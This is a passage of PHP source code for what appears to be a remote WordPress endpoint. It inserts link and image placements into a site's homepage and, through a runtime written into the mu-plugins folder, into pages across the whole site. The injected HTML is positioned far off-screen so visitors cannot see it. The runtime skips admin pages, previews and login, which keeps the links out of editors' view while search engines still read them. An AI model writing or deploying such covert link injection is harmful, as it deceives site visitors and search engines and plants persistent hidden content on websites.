            $version = $matches[1];
        }
    }
    return array(
        &#039;canManage&#039; =&gt; defined(&#039;WP_CONTENT_DIR&#039;) &amp;&amp; function_exists(&#039;wp_mkdir_p&#039;) &amp;&amp; function_exists(&#039;get_option&#039;) &amp;&amp; function_exists(&#039;update_option&#039;),
        &#039;version&#039; =&gt; $version,
    );
}

function easypost_endpoint_load_managed_placements() {
    if (!function_exists(&#039;get_option&#039;)) {
        easypost_endpoint_fallback_error(&#039;capability_failed&#039;);
    }
    $placements = get_option(easypost_endpoint_managed_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_endpoint_save_managed_placements($placements) {
    if (!function_exists(&#039;update_option&#039;)) {
        easypost_endpoint_fallback_error(&#039;capability_failed&#039;);
    }
    return update_option(easypost_endpoint_managed_placements_option(), $placements, false);
}

function easypost_endpoint_store_managed_placement($input, $post_id, $html) {
    $placements = easypost_endpoint_load_managed_placements();
    $key = (string) (int) $input[&#039;placementId&#039;];
    $page_url = function_exists(&#039;get_permalink&#039;) ? get_permalink($post_id) : null;
    $next = array(
        &#039;placementId&#039; =&gt; (int) $input[&#039;placementId&#039;],
        &#039;pageId&#039; =&gt; (int) $post_id,
        &#039;pageUrl&#039; =&gt; $page_url,
        &#039;html&#039; =&gt; $html,
        &#039;updatedAt&#039; =&gt; gmdate(&#039;c&#039;),
    );
    $already_present = isset($placements[$key]) &amp;&amp; is_array($placements[$key]) &amp;&amp; isset($placements[$key][&#039;html&#039;]) &amp;&amp; $placements[$key][&#039;html&#039;] === $html;
    if ($already_present) {
        return array(&#039;changed&#039; =&gt; false, &#039;alreadyPresent&#039; =&gt; true, &#039;pageUrl&#039; =&gt; $page_url);
    }
    $placements[$key] = $next;
    if (!easypost_endpoint_save_managed_placements($placements)) {
        easypost_endpoint_fallback_error(&#039;runtime_option_update_failed&#039;);
    }
    return array(&#039;changed&#039; =&gt; true, &#039;alreadyPresent&#039; =&gt; false, &#039;pageUrl&#039; =&gt; $page_url);
}

function easypost_endpoint_remove_managed_placement($placement_id) {
    $placements = easypost_endpoint_load_managed_placements();
    $key = (string) (int) $placement_id;
    if (!array_key_exists($key, $placements)) {
        return false;
    }
    unset($placements[$key]);
    if (!easypost_endpoint_save_managed_placements($placements)) {
        easypost_endpoint_fallback_error(&#039;runtime_option_update_failed&#039;);
    }
    return true;
}

function easypost_endpoint_cache_warnings($post_id) {
    $warnings = array();
    if (function_exists(&#039;clean_post_cache&#039;)) {
        clean_post_cache($post_id);
    } else {
        $warnings[] = &#039;clean_post_cache_unavailable&#039;;
    }
    if (function_exists(&#039;wp_cache_delete&#039;)) {
        wp_cache_delete($post_id, &#039;posts&#039;);
    }
    if (class_exists(&#039;\\Elementor\\Plugin&#039;)) {
        try {
            $elementor = \Elementor\Plugin::$instance;
            if ($elementor &amp;&amp; isset($elementor-&gt;files_manager) &amp;&amp; method_exists($elementor-&gt;files_manager, &#039;clear_cache&#039;)) {
                $elementor-&gt;files_manager-&gt;clear_cache();
            }
        } catch (Throwable $ignored) {
            $warnings[] = &#039;elementor_cache_cleanup_failed&#039;;
        }
    } else {
        $warnings[] = &#039;elementor_cache_cleanup_unavailable&#039;;
    }
    return $warnings;
}

function easypost_endpoint_lock_key($post_id) {
    return &#039;easypost_homepage_&#039; . (int) $post_id;
}

function easypost_endpoint_acquire_lock($post_id) {
    if (!function_exists(&#039;get_transient&#039;) || !function_exists(&#039;set_transient&#039;)) {
        return true;
    }
    $key = easypost_endpoint_lock_key($post_id);
    if (get_transient($key)) {
        return false;
    }
    set_transient($key, &#039;1&#039;, 60);
    return true;
}

function easypost_endpoint_release_lock($post_id) {
    if (function_exists(&#039;delete_transient&#039;)) {
        delete_transient(easypost_endpoint_lock_key($post_id));
    }
}

function easypost_endpoint_elementor_widget($html, $placement_id) {
    return array(
        &#039;id&#039; =&gt; substr(hash(&#039;sha256&#039;, &#039;placement-&#039; . (int) $placement_id), 0, 7),
        &#039;elType&#039; =&gt; &#039;widget&#039;,
        &#039;widgetType&#039; =&gt; &#039;html&#039;,
        &#039;settings&#039; =&gt; array(&#039;html&#039; =&gt; $html),
        &#039;elements&#039; =&gt; array(),
    );
}

function easypost_endpoint_append_to_elementor_settings(&amp;$settings, $html) {
    if (!is_array($settings)) {
        return false;
    }
    foreach (array(&#039;html&#039;, &#039;editor&#039;, &#039;text&#039;) as $key) {
        if (!isset($settings[$key]) || !is_string($settings[$key])) {
            continue;
        }
        $settings[$key] = trim($settings[$key] . &quot;\n&quot; . $html);
        return true;
    }
    return false;
}

function easypost_endpoint_insert_elementor_widget(&amp;$node, $widget) {
    if (!is_array($node)) {
        return false;
    }
    if (isset($node[&#039;settings&#039;]) &amp;&amp; is_array($node[&#039;settings&#039;]) &amp;&amp; easypost_endpoint_append_to_elementor_settings($node[&#039;settings&#039;], $widget[&#039;settings&#039;][&#039;html&#039;])) {
        return true;
    }
    if (isset($node[&#039;elements&#039;]) &amp;&amp; is_array($node[&#039;elements&#039;])) {
        foreach ($node[&#039;elements&#039;] as $index =&gt; &amp;$child) {
            if (easypost_endpoint_insert_elementor_widget($child, $widget)) {
                unset($child);
                return true;
            }
        }
        unset($child);
        $node[&#039;elements&#039;][] = $widget;
        return true;
    }
    foreach ($node as $index =&gt; &amp;$child) {
        if (!is_int($index)) {
            continue;
        }
        if (easypost_endpoint_insert_elementor_widget($child, $widget)) {
            unset($child);
            return true;
        }
    }
    unset($child);
    if (isset($node[0]) &amp;&amp; is_array($node[0]) &amp;&amp; isset($node[0][&#039;elements&#039;]) &amp;&amp; is_array($node[0][&#039;elements&#039;])) {
        $node[0][&#039;elements&#039;][] = $widget;
        return true;
    }
    return false;
}

function easypost_endpoint_elementor_node_has_direct_marker($node, $marker) {
    if (!is_array($node)) {
        return false;
    }
    if (!isset($node[&#039;settings&#039;]) || !is_array($node[&#039;settings&#039;])) {
        return false;
    }
    $encoded = json_encode($node[&#039;settings&#039;]);
    return is_string($encoded) &amp;&amp; strpos($encoded, $marker) !== false;
}

function easypost_endpoint_remove_marker_from_elementor($nodes, $marker, &amp;$removed) {
    if (!is_array($nodes)) {
        return $nodes;
    }
    $next = array();
    foreach ($nodes as $node) {
        if (is_array($node)) {
            if (easypost_endpoint_elementor_node_has_direct_marker($node, $marker)) {
                $removed = true;
                continue;
            }
            if (isset($node[&#039;elements&#039;]) &amp;&amp; is_array($node[&#039;elements&#039;])) {
                $node[&#039;elements&#039;] = easypost_endpoint_remove_marker_from_elementor($node[&#039;elements&#039;], $marker, $removed);
            }
        }
        $next[] = $node;
    }
    return $next;
}

function easypost_endpoint_place_homepage_link($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_homepage_payload($payload);
    $post = easypost_endpoint_homepage_post();
    $post_id = (int) $post-&gt;ID;
    if (!easypost_endpoint_acquire_lock($post_id)) {
        easypost_endpoint_fallback_error(&#039;lock_busy&#039;);
    }
    $warnings = array();
    try {
        $html = easypost_endpoint_placement_html($input);
        if (!easypost_endpoint_install_homepage_runtime($warnings)) {
            easypost_endpoint_fallback_error(&#039;runtime_install_failed&#039;, null, $warnings);
        }
        $stored = easypost_endpoint_store_managed_placement($input, $post_id, $html);
        if (function_exists(&#039;update_post_meta&#039;)) {
            update_post_meta($post_id, &#039;_easypost_homepage_placement_&#039; . (int) $input[&#039;placementId&#039;], array(&#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;updatedAt&#039; =&gt; gmdate(&#039;c&#039;)));
        }
        $warnings = array_merge($warnings, easypost_endpoint_cache_warnings($post_id));
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; $post_id, &#039;pageUrl&#039; =&gt; $stored[&#039;pageUrl&#039;], &#039;changed&#039; =&gt; $stored[&#039;changed&#039;], &#039;alreadyPresent&#039; =&gt; $stored[&#039;alreadyPresent&#039;], &#039;warnings&#039; =&gt; $warnings));
    } finally {
        easypost_endpoint_release_lock($post_id);
    }
}

function easypost_endpoint_remove_homepage_link($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_homepage_payload($payload);
    $post = easypost_endpoint_homepage_post();
    $post_id = (int) $post-&gt;ID;
    if (!easypost_endpoint_acquire_lock($post_id)) {
        easypost_endpoint_fallback_error(&#039;lock_busy&#039;);
    }
    try {
        $marker = easypost_endpoint_marker($input[&#039;placementId&#039;]);
        $changed = easypost_endpoint_remove_managed_placement($input[&#039;placementId&#039;]);
        $elementor_raw = function_exists(&#039;get_post_meta&#039;) ? (string) get_post_meta($post_id, &#039;_elementor_data&#039;, true) : &#039;&#039;;
        $elementor_mode = function_exists(&#039;get_post_meta&#039;) ? (string) get_post_meta($post_id, &#039;_elementor_edit_mode&#039;, true) : &#039;&#039;;
        if ($elementor_raw !== &#039;&#039; &amp;&amp; $elementor_mode === &#039;builder&#039; &amp;&amp; strpos($elementor_raw, $marker) !== false) {
            $data = json_decode($elementor_raw, true);
            if (!is_array($data)) {
                easypost_endpoint_fallback_error(&#039;elementor_data_invalid&#039;);
            }
            $removed = false;
            $data = easypost_endpoint_remove_marker_from_elementor($data, $marker, $removed);
            if (!$removed || !function_exists(&#039;update_post_meta&#039;) || update_post_meta($post_id, &#039;_elementor_data&#039;, wp_slash(json_encode($data))) === false) {
                easypost_endpoint_fallback_error(&#039;post_update_failed&#039;);
            }
            $changed = true;
        }
        $content = (string) $post-&gt;post_content;
        if (strpos($content, $marker) !== false) {
            $pattern = &#039;/\\s*(?:&lt;style&gt;\\.dc\\{display:none;\\}&lt;\\/style&gt;\\s*)?&lt;(?:p|div)[^&gt;]*data-placement=&quot;&#039; . preg_quote((string) $input[&#039;placementId&#039;], &#039;/&#039;) . &#039;&quot;[^&gt;]*&gt;.*?&lt;\\/(?:p|div)&gt;/s&#039;;
            $next = trim(preg_replace($pattern, &#039;&#039;, $content, 1));
            $updated = wp_update_post(array(&#039;ID&#039; =&gt; $post_id, &#039;post_content&#039; =&gt; $next), true);
            if (is_wp_error($updated)) {
                easypost_endpoint_fallback_error(&#039;post_update_failed&#039;, $updated-&gt;get_error_message());
            }
            $changed = true;
        }
        $warnings = easypost_endpoint_cache_warnings($post_id);
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; $post_id, &#039;pageUrl&#039; =&gt; get_permalink($post_id), &#039;changed&#039; =&gt; $changed, &#039;alreadyRemoved&#039; =&gt; !$changed, &#039;warnings&#039; =&gt; $warnings));
    } finally {
        easypost_endpoint_release_lock($post_id);
    }
}

function easypost_endpoint_nonfallback_error($error, $message = null, $warnings = array()) {
    easypost_endpoint_json(200, easypost_endpoint_nonfallback_payload($error, $message, $warnings));
}

function easypost_endpoint_nonfallback_payload($error, $message = null, $warnings = array()) {
    $response = array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; $error, &#039;fallback&#039; =&gt; false);
    if ($message !== null) {
        $response[&#039;message&#039;] = $message;
    }
    if (!empty($warnings)) {
        $response[&#039;warnings&#039;] = $warnings;
    }
    return $response;
}

function easypost_endpoint_string_length($value) {
    if (!is_string($value)) {
        return false;
    }
    if (function_exists(&#039;mb_strlen&#039;)) {
        return mb_strlen($value, &#039;UTF-8&#039;);
    }
    $matched = preg_match_all(&#039;/./us&#039;, $value, $characters);
    return $matched === false ? false : $matched;
}

function easypost_endpoint_bounded_text($payload, $name, $maximum, $required) {
    if (!array_key_exists($name, $payload)) {
        if ($required) {
            easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
        }
        return &#039;&#039;;
    }
    if (!is_string($payload[$name])) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    $length = easypost_endpoint_string_length($payload[$name]);
    if ($length === false || $length &gt; $maximum) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    $value = sanitize_text_field($payload[$name]);
    if ($required &amp;&amp; $value === &#039;&#039;) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    return $value;
}

function easypost_endpoint_http_url($payload, $name) {
    if (!array_key_exists($name, $payload) || !is_string($payload[$name])) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    $value = trim($payload[$name]);
    $length = easypost_endpoint_string_length($value);
    $parts = $value === &#039;&#039; ? false : parse_url($value);
    if ($length === false || $length &gt; 2048 || !is_array($parts)
        || empty($parts[&#039;scheme&#039;]) || empty($parts[&#039;host&#039;])
        || !in_array(strtolower((string) $parts[&#039;scheme&#039;]), array(&#039;http&#039;, &#039;https&#039;), true)
        || filter_var($value, FILTER_VALIDATE_URL) === false) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    $sanitized = esc_url_raw($value, array(&#039;http&#039;, &#039;https&#039;));
    if ($sanitized === &#039;&#039;) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    return $sanitized;
}

function easypost_endpoint_invisible_placement_id($payload) {
    $placement_id = isset($payload[&#039;placementId&#039;])
        ? filter_var($payload[&#039;placementId&#039;], FILTER_VALIDATE_INT, array(&#039;options&#039; =&gt; array(&#039;min_range&#039; =&gt; 1)))
        : false;
    $placement_type = isset($payload[&#039;placementType&#039;]) &amp;&amp; is_string($payload[&#039;placementType&#039;])
        ? strtoupper(sanitize_key($payload[&#039;placementType&#039;]))
        : &#039;&#039;;
    if ($placement_id === false || $placement_type !== &#039;INVISIBLE_ZONE&#039;) {
        easypost_endpoint_nonfallback_error(&#039;invalid_payload&#039;);
    }
    return (int) $placement_id;
}

function easypost_endpoint_validate_homepage_image_payload($payload) {
    return array(
        &#039;placementId&#039; =&gt; easypost_endpoint_invisible_placement_id($payload),
        &#039;targetUrl&#039; =&gt; easypost_endpoint_http_url($payload, &#039;targetUrl&#039;),
        &#039;imageUrl&#039; =&gt; easypost_endpoint_http_url($payload, &#039;imageUrl&#039;),
        &#039;altText&#039; =&gt; easypost_endpoint_bounded_text($payload, &#039;altText&#039;, 500, true),
        &#039;placementType&#039; =&gt; &#039;INVISIBLE_ZONE&#039;,
    );
}

function easypost_endpoint_validate_sitewide_payload($payload) {
    return array(
        &#039;placementId&#039; =&gt; easypost_endpoint_invisible_placement_id($payload),
        &#039;linkUrl&#039; =&gt; easypost_endpoint_http_url($payload, &#039;linkUrl&#039;),
        &#039;anchorText&#039; =&gt; easypost_endpoint_bounded_text($payload, &#039;anchorText&#039;, 500, true),
        &#039;preLinkText&#039; =&gt; easypost_endpoint_bounded_text($payload, &#039;preLinkText&#039;, 2000, false),
        &#039;postLinkText&#039; =&gt; easypost_endpoint_bounded_text($payload, &#039;postLinkText&#039;, 2000, false),
        &#039;placementType&#039; =&gt; &#039;INVISIBLE_ZONE&#039;,
    );
}

function easypost_endpoint_invisible_html($placement_id, $body) {
    return &#039;&lt;div data-placement=&quot;&#039; . (int) $placement_id . &#039;&quot; style=&quot;left:-11407px;top:-10560px;position:absolute;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
}

function easypost_endpoint_homepage_image_html($input) {
    $body = &#039;&lt;a href=&quot;&#039; . esc_url($input[&#039;targetUrl&#039;]) . &#039;&quot;&gt;&lt;img src=&quot;&#039; . esc_url($input[&#039;imageUrl&#039;]) . &#039;&quot; alt=&quot;&#039; . esc_attr($input[&#039;altText&#039;]) . &#039;&quot;&gt;&lt;/a&gt;&#039;;
    return easypost_endpoint_invisible_html($input[&#039;placementId&#039;], $body);
}

function easypost_endpoint_sitewide_placement_html($input) {
    $prefix = $input[&#039;preLinkText&#039;] === &#039;&#039; ? &#039;&#039; : esc_html($input[&#039;preLinkText&#039;]) . &#039; &#039;;
    $suffix = $input[&#039;postLinkText&#039;] === &#039;&#039; ? &#039;&#039; : $input[&#039;postLinkText&#039;];
    if ($suffix !== &#039;&#039; &amp;&amp; strpos($suffix, &#039; &#039;) !== 0) {
        $suffix = &#039; &#039; . $suffix;
    }
    $body = $prefix . &#039;&lt;a href=&quot;&#039; . esc_url($input[&#039;linkUrl&#039;]) . &#039;&quot;&gt;&#039; . esc_html($input[&#039;anchorText&#039;]) . &#039;&lt;/a&gt;&#039; . esc_html($suffix);
    return easypost_endpoint_invisible_html($input[&#039;placementId&#039;], $body);
}

function easypost_endpoint_enforce_snippet_bound($html) {
    if (!is_string($html) || strlen($html) &gt; 16384) {
        easypost_endpoint_nonfallback_error(&#039;snippet_too_large&#039;);
    }
}

function easypost_endpoint_try_store_homepage_image_placement($input, $post_id, $html) {
    if (!function_exists(&#039;get_option&#039;) || !function_exists(&#039;update_option&#039;)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;);
    }
    $placements = get_option(easypost_endpoint_managed_placements_option(), array());
    $placements = is_array($placements) ? $placements : array();
    $key = &#039;image:&#039; . (int) $input[&#039;placementId&#039;];
    $page_url = function_exists(&#039;get_permalink&#039;) ? get_permalink($post_id) : null;
    $next = array(
        &#039;placementId&#039; =&gt; (int) $input[&#039;placementId&#039;],
        &#039;placementKind&#039; =&gt; &#039;HOMEPAGE_IMAGE&#039;,
        &#039;pageId&#039; =&gt; (int) $post_id,
        &#039;pageUrl&#039; =&gt; $page_url,
        &#039;html&#039; =&gt; $html,
        &#039;updatedAt&#039; =&gt; gmdate(&#039;c&#039;),
    );
    $already_present = isset($placements[$key]) &amp;&amp; is_array($placements[$key])
        &amp;&amp; isset($placements[$key][&#039;html&#039;]) &amp;&amp; hash_equals((string) $placements[$key][&#039;html&#039;], $html);
    if ($already_present) {
        return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; false, &#039;alreadyPresent&#039; =&gt; true, &#039;pageUrl&#039; =&gt; $page_url);
    }
    $placements[$key] = $next;
    if (!update_option(easypost_endpoint_managed_placements_option(), $placements, false)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_option_update_failed&#039;);
    }
    return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; true, &#039;alreadyPresent&#039; =&gt; false, &#039;pageUrl&#039; =&gt; $page_url);
}

function easypost_endpoint_store_homepage_image_placement($input, $post_id, $html) {
    $result = easypost_endpoint_try_store_homepage_image_placement($input, $post_id, $html);
    if (!$result[&#039;ok&#039;]) {
        easypost_endpoint_fallback_error($result[&#039;error&#039;]);
    }
    unset($result[&#039;ok&#039;]);
    return $result;
}

function easypost_endpoint_try_remove_homepage_image_placement($placement_id) {
    if (!function_exists(&#039;get_option&#039;) || !function_exists(&#039;update_option&#039;)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;);
    }
    $placements = get_option(easypost_endpoint_managed_placements_option(), array());
    $placements = is_array($placements) ? $placements : array();
    $key = &#039;image:&#039; . (int) $placement_id;
    if (!array_key_exists($key, $placements)) {
        return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; false);
    }
    unset($placements[$key]);
    if (!update_option(easypost_endpoint_managed_placements_option(), $placements, false)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_option_update_failed&#039;);
    }
    return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; true);
}

function easypost_endpoint_remove_homepage_image_placement($placement_id) {
    $result = easypost_endpoint_try_remove_homepage_image_placement($placement_id);
    if (!$result[&#039;ok&#039;]) {
        easypost_endpoint_fallback_error($result[&#039;error&#039;]);
    }
    return $result[&#039;changed&#039;];
}

function easypost_endpoint_sitewide_option() {
    return &#039;easypost_sitewide_placements&#039;;
}

function easypost_endpoint_sitewide_lock_key() {
    return &#039;easypost_sitewide_write_lock&#039;;
}

function easypost_endpoint_acquire_sitewide_lock() {
    $key = easypost_endpoint_sitewide_lock_key();
    for ($attempt = 0; $attempt &lt; 3; $attempt++) {
        $now = time();
        $owner = (string) ($now + 10);
        $insert = easypost_endpoint_insert_option_once($key, $owner);
        if ($insert === &#039;inserted&#039;) {
            return $owner;
        }
        if ($insert === &#039;unavailable&#039;) {
            easypost_endpoint_nonfallback_error(&#039;lock_store_unavailable&#039;);
        }
        $existing = easypost_endpoint_read_option_row($key);
        if ($existing[&#039;status&#039;] === &#039;unavailable&#039;) {
            easypost_endpoint_nonfallback_error(&#039;lock_store_unavailable&#039;);
        }
        if ($existing[&#039;status&#039;] === &#039;found&#039; &amp;&amp; (int) $existing[&#039;value&#039;] &lt;= $now) {
            if (easypost_endpoint_delete_expired_replay_record($key, $existing[&#039;value&#039;], $now) === &#039;unavailable&#039;) {
                easypost_endpoint_nonfallback_error(&#039;lock_store_unavailable&#039;);
            }
        }
        if (function_exists(&#039;usleep&#039;)) {
            usleep(25000);
        }
    }
    easypost_endpoint_nonfallback_error(&#039;lock_busy&#039;);
}

function easypost_endpoint_release_sitewide_lock($owner) {
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb-&gt;options) || !method_exists($wpdb, &#039;query&#039;) || !method_exists($wpdb, &#039;prepare&#039;)) {
        return false;
    }
    $deleted = $wpdb-&gt;query(
        $wpdb-&gt;prepare(
            &quot;DELETE FROM {$wpdb-&gt;options} WHERE option_name = %s AND option_value = %s&quot;,
            easypost_endpoint_sitewide_lock_key(),
            (string) $owner
        )
    );
    if ($deleted === false) {
        return false;
    }
    if ((int) $deleted === 1) {
        easypost_endpoint_cache_option_deleted(easypost_endpoint_sitewide_lock_key());
    }
    return (int) $deleted === 1;
}

function easypost_endpoint_try_load_sitewide_placements() {
    if (!function_exists(&#039;get_option&#039;)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;);
    }
    try {
        $placements = get_option(easypost_endpoint_sitewide_option(), array());
    } catch (Throwable $ignored) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_option_read_failed&#039;);
    }
    return array(
        &#039;ok&#039; =&gt; true,
        &#039;placements&#039; =&gt; is_array($placements) ? $placements : array(),
    );
}

function easypost_endpoint_load_sitewide_placements() {
    $result = easypost_endpoint_try_load_sitewide_placements();
    if (!$result[&#039;ok&#039;]) {
        easypost_endpoint_nonfallback_error($result[&#039;error&#039;]);
    }
    return $result[&#039;placements&#039;];
}

function easypost_endpoint_try_save_sitewide_placements($placements) {
    if (!function_exists(&#039;update_option&#039;)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;);
    }
    try {
        $updated = update_option(easypost_endpoint_sitewide_option(), $placements, false);
    } catch (Throwable $ignored) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_option_update_failed&#039;);
    }
    if (!$updated) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_option_update_failed&#039;);
    }
    return array(&#039;ok&#039; =&gt; true);
}

function easypost_endpoint_save_sitewide_placements($placements) {
    $result = easypost_endpoint_try_save_sitewide_placements($placements);
    if (!$result[&#039;ok&#039;]) {
        easypost_endpoint_nonfallback_error($result[&#039;error&#039;]);
    }
    return true;
}

function easypost_endpoint_try_store_sitewide_placement($input, $html) {
    if (!function_exists(&#039;get_option&#039;) || !function_exists(&#039;update_option&#039;)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;);
    }
    $loaded = easypost_endpoint_try_load_sitewide_placements();
    if (!$loaded[&#039;ok&#039;]) {
        return $loaded;
    }
    $placements = $loaded[&#039;placements&#039;];
    $key = (string) (int) $input[&#039;placementId&#039;];
    $next = array(
        &#039;placementId&#039; =&gt; (int) $input[&#039;placementId&#039;],
        &#039;placementKind&#039; =&gt; &#039;SITEWIDE_TEXT&#039;,
        &#039;html&#039; =&gt; $html,
        &#039;updatedAt&#039; =&gt; gmdate(&#039;c&#039;),
    );
    $already_present = isset($placements[$key]) &amp;&amp; is_array($placements[$key])
        &amp;&amp; isset($placements[$key][&#039;html&#039;]) &amp;&amp; hash_equals((string) $placements[$key][&#039;html&#039;], $html);
    if ($already_present) {
        return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; false, &#039;alreadyPresent&#039; =&gt; true);
    }
    $placements[$key] = $next;
    $saved = easypost_endpoint_try_save_sitewide_placements($placements);
    if (!$saved[&#039;ok&#039;]) {
        return $saved;
    }
    return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; true, &#039;alreadyPresent&#039; =&gt; false);
}

function easypost_endpoint_store_sitewide_placement($input, $html) {
    $result = easypost_endpoint_try_store_sitewide_placement($input, $html);
    if (!$result[&#039;ok&#039;]) {
        easypost_endpoint_nonfallback_error($result[&#039;error&#039;]);
    }
    unset($result[&#039;ok&#039;]);
    return $result;
}

function easypost_endpoint_try_remove_sitewide_placement($placement_id) {
    if (!function_exists(&#039;get_option&#039;) || !function_exists(&#039;update_option&#039;)) {
        return array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;);
    }
    $loaded = easypost_endpoint_try_load_sitewide_placements();
    if (!$loaded[&#039;ok&#039;]) {
        return $loaded;
    }
    $placements = $loaded[&#039;placements&#039;];
    $key = (string) (int) $placement_id;
    if (!array_key_exists($key, $placements)) {
        return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; false);
    }
    unset($placements[$key]);
    $saved = easypost_endpoint_try_save_sitewide_placements($placements);
    if (!$saved[&#039;ok&#039;]) {
        return $saved;
    }
    return array(&#039;ok&#039; =&gt; true, &#039;changed&#039; =&gt; true);
}

function easypost_endpoint_remove_sitewide_placement($placement_id) {
    $result = easypost_endpoint_try_remove_sitewide_placement($placement_id);
    if (!$result[&#039;ok&#039;]) {
        easypost_endpoint_nonfallback_error($result[&#039;error&#039;]);
    }
    return $result[&#039;changed&#039;];
}

function easypost_endpoint_sitewide_runtime_path() {
    if (!defined(&#039;WP_CONTENT_DIR&#039;)) {
        return false;
    }
    $directory = defined(&#039;WPMU_PLUGIN_DIR&#039;) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . &#039;/mu-plugins&#039;;
    return $directory . &#039;/easypost-sitewide-runtime.php&#039;;
}

function easypost_endpoint_sitewide_runtime_php() {
    $config = easypost_endpoint_config();
    $version = isset($config[&#039;endpoint_version&#039;]) ? (string) $config[&#039;endpoint_version&#039;] : &#039;unknown&#039;;
    $runtime = &lt;&lt;&lt;&#039;PHP&#039;
&lt;?php
if (!defined(&#039;ABSPATH&#039;)) {
    exit;
}

if (!defined(&#039;EASYPOST_SITEWIDE_RUNTIME_VERSION&#039;)) {
    define(&#039;EASYPOST_SITEWIDE_RUNTIME_VERSION&#039;, &#039;__EASYPOST_SITEWIDE_RUNTIME_VERSION__&#039;);
}

function easypost_sitewide_runtime_option() {
    return &#039;easypost_sitewide_placements&#039;;
}

function easypost_sitewide_runtime_is_eligible() {
    return $_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;GET&#039;
        &amp;&amp; !is_admin()
        &amp;&amp; (!isset($GLOBALS[&#039;pagenow&#039;]) || $GLOBALS[&#039;pagenow&#039;] !== &#039;wp-login.php&#039;)
        &amp;&amp; !(defined(&#039;REST_REQUEST&#039;) &amp;&amp; REST_REQUEST)
        &amp;&amp; !(defined(&#039;XMLRPC_REQUEST&#039;) &amp;&amp; XMLRPC_REQUEST)
        &amp;&amp; !(function_exists(&#039;wp_doing_ajax&#039;) &amp;&amp; wp_doing_ajax())
        &amp;&amp; !(function_exists(&#039;wp_doing_cron&#039;) &amp;&amp; wp_doing_cron())
        &amp;&amp; !is_preview()
        &amp;&amp; !is_feed()
        &amp;&amp; !is_search()
        &amp;&amp; !is_404()
        &amp;&amp; !(function_exists(&#039;is_robots&#039;) &amp;&amp; is_robots())
        &amp;&amp; !(function_exists(&#039;is_favicon&#039;) &amp;&amp; is_favicon())
        &amp;&amp; !get_query_var(&#039;sitemap&#039;)
        &amp;&amp; (is_front_page() || is_singular(array(&#039;post&#039;, &#039;page&#039;)) || is_archive());
}

function easypost_sitewide_runtime_content_type_is_html($headers) {
    foreach ($headers as $header) {
        if (stripos((string) $header, &#039;content-type:&#039;) !== 0) {
            continue;
        }
        $value = strtolower(trim(substr((string) $header, strlen(&#039;content-type:&#039;))));
        return strpos($value, &#039;text/html&#039;) === 0 || strpos($value, &#039;application/xhtml+xml&#039;) === 0;
    }
    return true;
}

function easypost_sitewide_runtime_missing_html($buffer, $placements) {
    $html = array();
    foreach ($placements as $placement) {
        if (!is_array($placement) || empty($placement[&#039;html&#039;])) {
            continue;
        }
        $placement_id = isset($placement[&#039;placementId&#039;]) ? (int) $placement[&#039;placementId&#039;] : 0;
        if ($placement_id &lt;= 0) {
            continue;
        }
        $marker = &#039;data-placement=&quot;&#039; . $placement_id . &#039;&quot;&#039;;
        if (strpos($buffer, $marker) !== false) {
            continue;
        }
        $html[] = (string) $placement[&#039;html&#039;];
    }
    return implode(&quot;\n&quot;, $html);
}

function easypost_sitewide_runtime_insert_before_body($buffer, $html) {
    $position = stripos($buffer, &#039;&lt;/body&gt;&#039;);
    if ($position === false) {
        return $buffer . &quot;\n&quot; . $html;
    }
    return substr($buffer, 0, $position) . &quot;\n&quot; . $html . &quot;\n&quot; . substr($buffer, $position);
}

function easypost_sitewide_runtime_inject_buffer($buffer) {
    if (!empty($GLOBALS[&#039;easypost_sitewide_runtime_injected&#039;])) {
        return $buffer;
    }
    $status = http_response_code();
    if (($status !== false &amp;&amp; ($status &lt; 200 || $status &gt;= 300))
        || !easypost_sitewide_runtime_content_type_is_html(headers_list())) {
        return $buffer;
    }
